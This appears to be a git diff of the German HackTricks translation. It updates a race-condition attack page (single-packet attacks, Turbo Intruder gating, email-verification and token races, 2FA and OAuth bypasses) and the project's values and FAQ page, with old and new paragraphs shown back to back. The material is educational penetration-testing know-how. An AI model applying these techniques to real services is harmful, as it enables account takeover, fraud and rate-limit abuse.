- **Automated python script**: Das Ziel dieses Skripts ist, die E-Mail eines Benutzers zu ändern und dabei kontinuierlich zu überprüfen, bis das Verifizierungstoken der neuen E-Mail bei der zuletzt genutzten E-Mail ankommt (das liegt daran, dass im Code ein RC beobachtet wurde, bei dem es möglich war, eine E-Mail zu ändern, aber die Verifizierung an die alte gesendet wurde, weil die Variable, die die E-Mail angibt, bereits mit der ersten befüllt war).\
Wenn das Wort "objetivo" in den empfangenen E-Mails gefunden wird, wissen wir, dass wir das Verifizierungstoken der geänderten E-Mail erhalten haben, und beenden den Angriff.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
@ -217,18 +217,26 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Verbesserung des Single Packet Attack
#### Turbo Intruder: engine and gating notes
In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. Allerdings wurde in [**diesem Beitrag**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) erläutert, wie es möglich ist, die 1.500-Byte-Beschränkung des Single Packet Attack auf die **65.535 B Fensterbegrenzung von TCP durch Verwendung von Fragmentierung auf IP-Ebene** zu erweitern (ein einzelnes Packet in mehrere IP-Pakete aufzuteilen) und diese in unterschiedlicher Reihenfolge zu senden, wodurch das Reassemblieren des Packets verhindert wird, bis alle Fragmente den Server erreicht haben. Mit dieser Technik konnte der Forscher etwa 10.000 Requests in ca. 166 ms senden.
- Engine-Auswahl: Verwende `Engine.BURP2` bei HTTP/2-Zielen, um den singlepacket attack auszulösen; weiche auf `Engine.THREADED` oder `Engine.BURP` für HTTP/1.1 lastbyte sync zurück.
- `gate`/`openGate`: füge viele Kopien in die Warteschlange mit `gate='race1'` (oder perattempt gates), die den tail jeder Anfrage zurückhalten; `openGate('race1')` spült alle tails zusammen, sodass sie nahezu gleichzeitig ankommen.
- Diagnostik: negative Zeitstempel in Turbo Intruder zeigen an, dass der Server geantwortet hat, bevor die Anfrage vollständig gesendet war, was Überlappung beweist. Dies ist bei true races zu erwarten.
- Connection warming: sende zuerst ein Ping oder ein paar harmlose Requests, um die Timings zu stabilisieren; optional `TCP_NODELAY` deaktivieren, um das Batching der finalen Frames zu fördern.
Beachte, dass obwohl diese Verbesserung den Angriff bei RC, die Hunderte/Tausende von Paketen erfordern, zuverlässiger macht, sie auch softwareseitige Einschränkungen haben kann. Einige populäre HTTP-Server wie Apache, Nginx und Go haben eine strikte `SETTINGS_MAX_CONCURRENT_STREAMS`-Einstellung von 100, 128 bzw. 250. Andere wie NodeJS und nghttp2 haben sie jedoch unbegrenzt.\
Das bedeutet im Grunde, dass Apache nur 100 HTTP connections von einer einzigen TCP connection berücksichtigt (was diesen RC-Angriff einschränkt).
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
### Improving Single Packet Attack
In der ursprünglichen Forschung wird erklärt, dass dieser Angriff eine Grenze von 1.500 Bytes hat. Allerdings wurde in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) beschrieben, wie es möglich ist, die 1.500ByteBeschränkung des single packet attack auf die **65.535 B Fensterbegrenzung von TCP durch Verwendung von IPLayerFragmentation** zu erweitern (ein einzelnes Paket in mehrere IPPakete aufteilen) und diese in unterschiedlicher Reihenfolge zu senden, wodurch verhindert wird, dass das Paket wieder zusammengesetzt wird, bis alle Fragmente den Server erreicht haben. Mit dieser Technik konnte der Forscher etwa 10.000 Requests in ca. 166 ms senden.
Beachte, dass obwohl diese Verbesserung den Angriff bei RC, die Hunderte/Tausende von Paketen gleichzeitig benötigen, zuverlässiger macht, sie auch SoftwareEinschränkungen haben kann. Einige populäre HTTPServer wie Apache, Nginx und Go haben eine strikte `SETTINGS_MAX_CONCURRENT_STREAMS` Einstellung auf 100, 128 bzw. 250. Andere wie NodeJS und nghttp2 haben sie jedoch unbegrenzt.\
Das bedeutet im Wesentlichen, dass Apache nur 100 HTTP connections von einer einzelnen TCPVerbindung berücksichtigt (was diesen RCAngriff einschränkt).
Du findest Beispiele, die diese Technik verwenden, im Repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
Vor der genannten Forschung waren dies einige Payloads, die einfach versucht haben, die Pakete so schnell wie möglich zu senden, um eine RC zu verursachen.
- **Repeater:** Siehe die Beispiele aus dem vorherigen Abschnitt.
- **Intruder**: Sende die **request** an **Intruder**, setze die **number of threads** auf **30** im **Options menu**, wähle als Payload **Null payloads** und generiere **30.**
@ -279,75 +287,75 @@ print(results)
asyncio.run(main())
```
## **RC-Methodik**
## **RC Methodology**
### Limit-overrun / TOCTOU
Dies ist der grundlegendste Typ von race condition, bei dem **Schwachstellen** an Stellen entstehen, die die **Anzahl der Ausführungen einer Aktion begrenzen**. Zum Beispiel die mehrfache Verwendung desselben Rabattcodes in einem Webshop. Ein sehr einfaches Beispiel findet sich in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**this bug**](https://hackerone.com/reports/759247)**.**
Dies ist der grundlegendste Typ einer race condition, bei dem **Vulnerabilities** an Stellen auftreten, die die Anzahl der Male begrenzen, in denen du eine Aktion ausführen kannst. Zum Beispiel dieselben Rabattcodes in einem Webshop mehrfach verwenden. Ein sehr einfaches Beispiel findest du in [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) oder in [**this bug**](https://hackerone.com/reports/759247)**.**
Es gibt viele Variationen dieses Angriffs, darunter:
Es gibt viele Varianten dieser Art von Angriff, darunter:
- Eine Geschenkkarte mehrfach einlösen
- Mehrfaches Einlösen einer gift card
- Ein Produkt mehrfach bewerten
- Bargeld abheben oder Überweisungen tätigen über den Kontostand hinaus
- Eine einzelne CAPTCHA-Lösung mehrfach verwenden
- Ein Anti-Brute-Force rate limit umgehen
- Mehr Geld abheben oder transferieren als dein Konto-Guthaben
- Wiederverwenden einer einzelnen CAPTCHA-Lösung
- Umgehen eines anti-brute-force rate limit
### **Verborgene Subzustände**
### **Hidden substates**
Das Ausnutzen komplexer race conditions beinhaltet oft das Ausnutzen kurzer Gelegenheiten, um mit verborgenen oder **ungewollten Maschinensubzuständen** zu interagieren. So gehen Sie vor:
Das Ausnutzen komplexer race conditions beinhaltet oft das Nutzen kurzer Zeitfenster, um mit versteckten oder **unbeabsichtigten Maschinen-Subzuständen** zu interagieren. So gehst du vor:
1. **Potenzielle verborgene Subzustände identifizieren**
- Beginnen Sie damit, Endpunkte zu identifizieren, die kritische Daten verändern oder damit interagieren, wie Benutzerprofile oder password reset processes. Konzentrieren Sie sich auf:
- **Storage**: Bevorzugen Sie Endpunkte, die serverseitig persistente Daten manipulieren, gegenüber solchen, die Daten clientseitig verarbeiten.
- **Action**: Suchen Sie nach Operationen, die bestehende Daten ändern, da diese eher ausnutzbare Zustände erzeugen als solche, die neue Daten hinzufügen.
- **Keying**: Erfolgreiche Angriffe beinhalten normalerweise Operationen, die auf denselben Identifier abstellen, z. B. username oder reset token.
2. **Erste Überprüfungen durchführen**
- Testen Sie die identifizierten Endpunkte mit race condition-Angriffen und beobachten Sie Abweichungen von den erwarteten Ergebnissen. Unerwartete Antworten oder Änderungen im Anwendungsverhalten können auf eine Schwachstelle hinweisen.
3. **Die Schwachstelle demonstrieren**
- Reduzieren Sie den Angriff auf die minimale Anzahl an Requests, die zum Ausnutzen der Schwachstelle nötig sind, oft nur zwei. Dieser Schritt kann aufgrund des präzisen Timings mehrere Versuche oder Automatisierung erfordern.
1. **Identify Potential Hidden Substates**
- Beginne damit, Endpunkte zu identifizieren, die kritische Daten ändern oder damit interagieren, wie Benutzerprofile oder password reset Prozesse. Konzentriere dich auf:
- **Storage**: Bevorzuge Endpunkte, die serverseitige persistente Daten manipulieren statt solche, die Daten clientseitig verarbeiten.
- **Action**: Suche nach Operationen, die bestehende Daten verändern — diese erzeugen eher ausnutzbare Bedingungen als solche, die neue Daten hinzufügen.
- **Keying**: Erfolgreiche Angriffe involvieren meistens Operationen, die auf demselben Identifier basieren, z. B. username oder reset token.
2. **Conduct Initial Probing**
- Teste die identifizierten Endpunkte mit race condition Attacken und beobachte Abweichungen vom erwarteten Verhalten. Unerwartete Responses oder Verhaltensänderungen der Anwendung können auf eine Vulnerability hinweisen.
3. **Demonstrate the Vulnerability**
- Reduziere den Angriff auf die minimale Anzahl von Requests, die nötig sind, um die Vulnerability auszunutzen — oft nur zwei. Dieser Schritt kann aufgrund des präzisen Timings mehrere Versuche oder Automation erfordern.
### Zeitkritische Angriffe
### Time Sensitive Attacks
Präzises Timing von Requests kann Schwachstellen aufdecken, besonders wenn vorhersehbare Methoden wie timestamps für security tokens verwendet werden. Beispielsweise kann das Generieren von password reset tokens basierend auf timestamps identische tokens für simultane Requests ermöglichen.
Präzises Timing von Requests kann Vulnerabilities offenlegen, besonders wenn vorhersehbare Methoden wie timestamps für security tokens verwendet werden. Wenn password reset tokens beispielsweise auf timestamps basieren, könnten identische tokens für simultane Requests erzeugt werden.
**Zum Ausnutzen:**
Zum Ausnutzen:
- Verwenden Sie präzises Timing, z. B. einen single-packet Angriff, um gleichzeitige password reset requests zu senden. Identische tokens deuten auf eine Schwachstelle hin.
- Verwende präzises Timing, z. B. einen Single-Packet-Angriff, um gleichzeitige password reset requests zu senden. Identische tokens deuten auf eine Vulnerability hin.
**Beispiel:**
Beispiel:
- Fordern Sie zwei password reset tokens gleichzeitig an und vergleichen Sie sie. Übereinstimmende tokens deuten auf einen Fehler in der Token-Generierung hin.
- Fordere zwei password reset tokens gleichzeitig an und vergleiche sie. Übereinstimmende tokens deuten auf einen Fehler in der Token-Generierung hin.
**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **an, um dies auszuprobieren.**
Teste das im [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities).
## Fallstudien zu verborgenen Subzuständen
## Fallstudien zu versteckten Subzuständen
### Bezahlen & einen Artikel hinzufügen
### Pay & add an Item
Schauen Sie sich [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) an, um zu sehen, wie man in einem Shop **bezahlt** und einen extra Artikel **hinzufügt**, für den man **nicht bezahlen muss**.
Sieh dir das [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) an, um zu sehen, wie du in einem Shop **bezahlen** und gleichzeitig einen zusätzlichen Artikel **hinzufügen** kannst, für den du **nicht zahlen musst**.
### Andere E-Mails bestätigen
### Confirm other emails
Die Idee ist, **eine E-Mail-Adresse zu verifizieren und sie gleichzeitig in eine andere zu ändern**, um herauszufinden, ob die Plattform die neue Adresse tatsächlich verifiziert.
Die Idee ist, eine E-Mail-Adresse **zu verifizieren und sie gleichzeitig auf eine andere zu ändern**, um herauszufinden, ob die Plattform die neue Adresse tatsächlich verifiziert.
### E-Mail auf 2 Adressen ändern — cookie-basiert
### Change email to 2 emails addresses Cookie based
Laut [**this research**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise für eine Übernahme verwundbar, weil es möglicherweise **das E-Mail-Verifizierungs-Token einer Adresse an die andere E-Mail sendet**.
Laut [**this research**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise für eine Übernahme verwundbar, weil es möglicherweise den **email verification token einer E-Mail an eine andere E-Mail senden** konnte.
**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **an, um dies auszuprobieren.**
Teste das im [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint).
### Verborgene Datenbankzustände / Bestätigungs-Bypass
### Hidden Database states / Confirmation Bypass
Wenn **2 verschiedene Schreibvorgänge** verwendet werden, um **Informationen** in eine **Datenbank** einzufügen, gibt es einen kurzen Zeitraum, in dem **nur die ersten Daten in der Datenbank geschrieben wurden**. Zum Beispiel, beim Erstellen eines Users könnten **username** und **password** geschrieben werden und erst danach wird **das token** zur Bestätigung des neu erstellten Accounts geschrieben. Das bedeutet, dass für kurze Zeit das **token zur Bestätigung eines Accounts null** ist.
Wenn **2 different writes** verwendet werden, um **Informationen** in einer **Datenbank** hinzuzufügen, gibt es ein kleines Zeitfenster, in dem **nur die ersten Daten geschrieben sind**. Zum Beispiel werden beim Erstellen eines Users möglicherweise zuerst der **username** und das **password** geschrieben und **dann** das Token, um das neu erstellte Konto zu bestätigen. Das bedeutet, dass für kurze Zeit das **Bestätigungstoken null** ist.
Daher könnte das **Registrieren eines Accounts und das sofortige Senden mehrerer Requests mit einem leeren token** (`token=` oder `token[]=` oder eine andere Variation), um den Account sofort zu bestätigen, erlauben, einen Account zu **bestätigen**, dessen E-Mail man nicht kontrolliert.
Daher könnte das **Registrieren eines Accounts und das sofortige Senden mehrerer Requests mit einem leeren token** (`token=` oder `token[]=` oder jede andere Variation) erlauben, ein Konto zu **bestätigen**, dessen E-Mail du nicht kontrollierst.
**Schauen Sie sich** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **an, um dies auszuprobieren.**
Teste das im [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction).
### 2FA umgehen
### Bypass 2FA
Der folgende Pseudo-Code ist gegenüber race condition verwundbar, weil in einem sehr kurzen Zeitraum die **2FA nicht durchgesetzt** wird, während die Session erstellt wird:
Der folgende Pseudo-Code ist gegenüber race conditions verwundbar, weil in einem sehr kurzen Zeitfenster die **2FA nicht durchgesetzt wird**, während die Session erstellt wird:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@ -355,24 +363,23 @@ session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### OAuth2 dauerhafte Persistenz
### OAuth2 eternal persistence
Es gibt mehrere [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Diese Dienste erlauben es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die beim Provider registriert sind.\
Dazu muss der **client** Ihrer **application** gestatten, auf einige ihrer Daten beim **OAUth provider** zuzugreifen.\
Also, bis hierhin ist es einfach ein normales Login mit google/linkedin/github..., bei dem Ihnen eine Seite angezeigt wird, die sagt: "_Application \<InsertCoolName> möchte auf Ihre Informationen zugreifen, möchten Sie das erlauben?_"
There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Diese Dienste ermöglichen es Ihnen, eine Anwendung zu erstellen und Benutzer zu authentifizieren, die beim Provider registriert sind. Dazu muss der **client** Ihrer Anwendung erlauben, auf einige ihrer Daten beim **OAUth provider** zuzugreifen.\
Bis hierhin also ein normaler Login mit google/linkedin/github..., bei dem Ihnen eine Seite angezeigt wird mit der Aufforderung: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code`
Das **Problem** tritt auf, wenn Sie es **akzeptieren** und automatisch ein **`authorization_code`** an die bösartige **application** gesendet wird. Dann missbraucht diese **application** eine Race Condition im OAUth-Service-Provider, um aus dem **`authorization_code`** mehrere AT/RT (_Authentication Token/Refresh Token_) für Ihr Konto zu erzeugen. Im Grunde nutzt sie die Tatsache aus, dass Sie der Anwendung den Zugriff auf Ihre Daten erlaubt haben, um **mehrere Accounts zu erstellen**. Wenn Sie die Berechtigungen für die Anwendung dann **entziehen**, wird ein Paar AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.
Das **Problem** tritt auf, wenn Sie es **akzeptieren** und automatisch ein **`authorization_code`** an die bösartige Anwendung gesendet wird. **Diese Anwendung missbraucht dann eine Race Condition im OAUth service provider, um aus dem `authorization_code` für Ihr Konto mehr als ein AT/RT zu erzeugen** (_Authentication Token/Refresh Token_). Im Grunde nutzt sie aus, dass Sie der Anwendung Zugriff auf Ihre Daten gewährt haben, um **mehrere Konten** zu erstellen. Wenn Sie der Anwendung danach den Zugriff entziehen, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben weiterhin gültig.
#### Race Condition in `Refresh Token`
Sobald Sie ein **gültiges RT erhalten haben**, könnten Sie versuchen, es zu **missbrauchen, um mehrere AT/RT zu erzeugen**, und **selbst wenn der Benutzer die Berechtigungen** für die bösartige **application** zum Zugriff auf seine Daten widerruft, **bleiben mehrere RTs weiterhin gültig.**
Sobald Sie ein gültiges RT erhalten haben, können Sie versuchen, es zu missbrauchen, um mehrere AT/RT zu erzeugen — und selbst wenn der Benutzer der bösartigen Anwendung die Berechtigungen entzieht, bleiben mehrere RTs weiterhin gültig.
## **RC in WebSockets**
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) finden Sie einen PoC in Java, um websocket-Nachrichten **parallel** zu senden und **Race Conditions auch in Web Sockets** auszunutzen.
- Mit Burps WebSocket Turbo Intruder können Sie die **THREADED**-Engine verwenden, um mehrere WS-Verbindungen zu starten und Payloads parallel zu senden. Starten Sie mit dem offiziellen Beispiel und passen Sie `config()` (Thread-Anzahl) für die Parallelität an; dies ist oft zuverlässiger als das Bündeln auf einer einzigen Verbindung, wenn serverseitiger Zustand über WS-Handler geraced wird. Siehe [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) finden Sie einen PoC in Java, um WebSocket-Nachrichten **parallel** zu senden und **Race Conditions auch in Web Sockets** auszunutzen.
- Mit Burps WebSocket Turbo Intruder können Sie die **THREADED**-Engine verwenden, um mehrere WS-Verbindungen zu erzeugen und Payloads parallel abzuschießen. Beginnen Sie mit dem offiziellen Beispiel und passen Sie `config()` (Thread-Anzahl) für die Parallelität an; dies ist oft zuverlässiger als das Batching auf einer einzelnen Verbindung, wenn serverseitiger Zustand über WS-Handler gleichzeitig verändert wird. Siehe [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References

View File

@ -5,27 +5,27 @@
## HackTricks Werte
> [!TIP]
> Dies sind die **Werte des HackTricks Projekts**:
> Dies sind die **Werte des HackTricks-Projekts**:
>
> - Gib **KOSTENLOSEN** Zugang zu **EDUCATIONAL hacking** Ressourcen für **ALLE** im Internet.
> - Hacking bedeutet Lernen, und Lernen sollte so frei wie möglich sein.
> - Gebe **KOSTENLOSEN** Zugang zu **EDUCATIONAL hacking** Ressourcen für das **gesamte Internet**.
> - Hacking dreht sich ums Lernen, und Lernen sollte so frei wie möglich sein.
> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
> - **SPEICHERN** großartige **hacking** Techniken, die die Community veröffentlicht, und den **ORIGINALEN** **AUTOREN** alle **Credits** geben.
> - **SPEICHERN** großartiger **hacking**-Techniken, die die Community veröffentlicht, und den **ORIGINALEN AUTOREN** alle **Anerkennung** geben.
> - **Wir wollen nicht die Anerkennung anderer**, wir wollen nur coole Tricks für alle speichern.
> - Wir verfassen auch **unsere eigenen Recherchen** in HackTricks.
> - In mehreren Fällen werden wir nur **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den Leser **ermutigen, den Originalbeitrag** für mehr Details zu besuchen.
> - **ORGANISIEREN** aller **hacking**-Techniken im Buch, damit es **BESSER ZUGÄNGLICH** ist
> - Das HackTricks-Team hat tausende von Stunden kostenlos **ausschließlich zur Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen**
> - Wir veröffentlichen auch **eigene Forschungsarbeiten** in HackTricks.
> - In mehreren Fällen schreiben wir nur **in HackTricks eine Zusammenfassung der wichtigsten Teile** der Technik und **ermutigen den Leser, den Originalbeitrag** für mehr Details zu besuchen.
> - **ORGANISIEREN** alle die hacking-Techniken im Buch, sodass es **BESSER ZUGÄNGLICH** ist
> - Das HackTricks-Team hat tausende Stunden kostenlos **nur für die Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen** können
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## HackTricks FAQ
## HackTricks faq
> [!TIP]
>
> - **Vielen Dank für diese Ressourcen, wie kann ich euch danken?**
Du kannst den HackTricks-Teams öffentlich danken, indem du in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
Du kannst dem HackTricks-Team öffentlich danken, indem du in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
Wenn du besonders dankbar bist, kannst du auch [**das Projekt hier sponsern**](https://github.com/sponsors/carlospolop).\
Und vergiss nicht, den Github-Projekten einen Stern zu geben! (Finde die Links unten).
@ -33,7 +33,7 @@ Und vergiss nicht, den Github-Projekten einen Stern zu geben! (Finde die Links u
>
> - **Wie kann ich zum Projekt beitragen?**
Du kannst **neue Tipps und Tricks mit der Community teilen oder Fehler beheben**, die du in den Büchern findest, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest:
Du kannst **neue Tipps und Tricks mit der Community teilen oder Fehler** in den Büchern beheben, indem du einen **Pull Request** an die jeweiligen Github-Seiten sendest:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
@ -42,16 +42,16 @@ Vergiss nicht, den Github-Projekten einen Stern zu geben!
> [!TIP]
>
> - **Kann ich Inhalte von HackTricks kopieren und in meinem Blog veröffentlichen?**
> - **Kann ich Inhalte von HackTricks kopieren und in meinen Blog stellen?**
Ja, das kannst du, aber **vergiss nicht, die spezifischen Links zu erwähnen**, von denen der Inhalt stammt.
Ja, das kannst du, aber **vergiss nicht, die spezifischen Links** anzugeben, von denen der Inhalt stammt.
> [!TIP]
>
> - **Wie kann ich eine Seite von HackTricks zitieren?**
Solange der Link der Seite(n), von der/denen du die Informationen entnommen hast, angegeben ist, ist das ausreichend.\
Wenn du ein BibTeX brauchst, kannst du etwas wie Folgendes verwenden:
Wenn du einen Bibtex-Eintrag brauchst, kannst du etwas wie folgt verwenden:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Kann ich alle HackTricks in meinem Blog kopieren?**
**Ich würde das lieber nicht tun**. Das **wird niemandem nützen**, da der **gesamte Inhalt bereits öffentlich verfügbar** in den offiziellen HackTricks-Büchern kostenlos ist.
**Ich würde das lieber nicht**. Das **wird niemandem nützen**, da alle **Inhalte bereits öffentlich verfügbar** in den offiziellen HackTricks-Büchern kostenlos sind.
Wenn du befürchtest, dass es verschwinden könnte, fork es einfach auf Github oder lade es herunter, wie gesagt, es ist bereits kostenlos.
Wenn du befürchtest, dass es verschwinden könnte, fork es einfach auf Github oder lade es herunter wie gesagt, es ist bereits kostenlos.
> [!WARNING]
>
> - **Warum habt ihr Sponsoren? Sind HackTricks-Bücher für kommerzielle Zwecke?**
Der erste **HackTricks** **Wert** ist es, **FREE** Hacking-Bildungsressourcen für **ALLE** auf der Welt anzubieten. Das HackTricks-Team hat **tausende Stunden investiert**, um diesen Inhalt anzubieten, nochmals, für **FREE**.
Der erste **HackTricks** **Wert** ist es, der **ganzen** Welt **KOSTENLOSE** Hacking-Bildungsressourcen anzubieten. Das HackTricks-Team hat **Tausende von Stunden** investiert, um diesen Inhalt anzubieten, nochmals, **KOSTENLOS**.
Wenn du denkst, die HackTricks-Bücher seien für **kommerziellen Zwecke**, liegst du **VÖLLIG FALSCH**.
Wenn du denkst, die HackTricks-Bücher seien für **kommerzielle Zwecke** gemacht, liegst du **KOMPLETT FALSCH**.
Wir haben Sponsoren, weil wir, selbst wenn alle Inhalte **FREE** sind, der Community die Möglichkeit bieten möchten, unsere Arbeit zu würdigen, falls sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und relevanten Cybersecurity-Unternehmen, HackTricks zu sponsern und **einige Anzeigen** im Buch zu platzieren, wobei die **Anzeigen** immer an Stellen platziert werden, an denen sie **sichtbar** sind, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
Wir haben Sponsoren, weil wir, auch wenn alle Inhalte KOSTENLOS sind, der Community die Möglichkeit bieten wollen, unsere Arbeit zu schätzen, falls sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und relevanten Cybersecurity-Unternehmen, HackTricks zu sponsern und etwas **Werbung** im Buch zu platzieren, wobei die **Werbeanzeigen** stets an Stellen platziert werden, an denen sie **sichtbar** sind, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
Du wirst HackTricks nicht mit nervigen Anzeigen vollgestopft finden wie andere Blogs mit deutlich weniger Inhalten als HackTricks, weil HackTricks nicht für kommerzielle Zwecke erstellt wurde.
Du wirst HackTricks nicht mit nerviger Werbung vollgestopft finden wie andere Blogs mit deutlich weniger Inhalten als HackTricks, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
> [!CAUTION]
>
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogbeitrag basiert, dieser aber nicht referenziert ist?**
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogpost basiert, aber dieser nicht referenziert wird?**
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns über Github issues, Twitter, Discord... wissen — den Link zur HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog — und **wir werden es prüfen und so schnell wie möglich hinzufügen**.
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte gib uns Bescheid über Github issues, Twitter, Discord... den Link der HackTricks-Seite mit dem betreffenden Inhalt und den Link zu deinem Blog und **wir werden es prüfen und ASAP hinzufügen**.
> [!CAUTION]
>
> - **Was soll ich tun, wenn Inhalte aus meinem Blog in HackTricks vorhanden sind und ich sie dort nicht haben will?**
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks stehen und ich nicht möchte, dass sie dort sind?**
Beachte, dass Links zu deiner Seite in HackTricks:
- Verbessern dein **SEO**
- Der Inhalt wird in **mehr als 15 Sprachen übersetzt**, wodurch mehr Menschen Zugang zu diesem Inhalt erhalten können
- **HackTricks ermutigt** die Leute, **deine Seite zu besuchen** (mehrere Personen haben uns mitgeteilt, dass sie seit der Aufnahme einer ihrer Seiten in HackTricks mehr Besucher erhalten)
- Der Inhalt wird in **mehr als 15 Sprachen** übersetzt, wodurch mehr Menschen Zugriff auf diesen Inhalt erhalten
- **HackTricks ermutigt** Leute, **deine Seite zu besuchen** (mehrere Personen haben uns berichtet, dass sie, seitdem eine ihrer Seiten in HackTricks ist, mehr Besucher erhalten)
Wenn du dennoch möchtest, dass der Inhalt deines Blogs aus HackTricks entfernt wird, lass es uns einfach wissen und wir werden definitiv **jeden Link zu deinem Blog entfernen**, sowie jegliche darauf basierenden Inhalte.
Wenn du dennoch möchtest, dass Inhalte deines Blogs aus HackTricks entfernt werden, sag uns einfach Bescheid und wir werden definitiv **jeden Link zu deinem Blog entfernen**, sowie alle darauf basierenden Inhalte.
> [!CAUTION]
>
> - **Was soll ich tun, wenn ich kopierten Inhalt in HackTricks finde?**
Wir geben immer den Originalautoren **volle Anerkennung**. Wenn du eine Seite mit kopiertem Inhalt findest, ohne dass die Originalquelle referenziert wird, lass es uns wissen und wir werden entweder **den Inhalt entfernen**, **den Link vor dem Text hinzufügen**, oder **den Text umschreiben und den Link einfügen**.
Wir geben den Originalautoren immer **alle Credits**. Wenn du eine Seite mit kopiertem Inhalt findest, bei der die Originalquelle nicht angegeben ist, lass es uns wissen und wir werden entweder **den Inhalt entfernen**, **den Link vor den Text setzen**, oder **den Text umschreiben und den Link hinzufügen**.
## LICENSE
## LIZENZ
Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben.
#### License Summary:
#### Lizenzzusammenfassung:
- Namensnennung: Du darfst:
- Teilen — das Material in jedem Medium oder Format kopieren und verbreiten.
- Bearbeiten — remixen, transformieren und auf dem Material aufbauen.
- Share — Kopiere und verbreite das Material in jedem Medium oder Format.
- Adapt — Remixe, transformiere und baue auf dem Material auf.
#### Additional Terms:
#### Zusätzliche Bedingungen:
- Inhalte Dritter: Einige Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Prinzipien des fair use oder mit ausdrücklicher Erlaubnis der jeweiligen Copyright-Inhaber. Bitte konsultiere die Originalquellen für spezifische Lizenzinformationen bezüglich Drittinhalten.
- Urheberschaft: Die ursprünglichen Inhalte, die von HackTricks verfasst wurden, unterliegen den Bedingungen dieser Lizenz. Du wirst ermutigt, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben.
- Third-Party Content: Einige Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Grundsätzen des fair use oder mit ausdrücklicher Erlaubnis der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen bezüglich Drittinhalte.
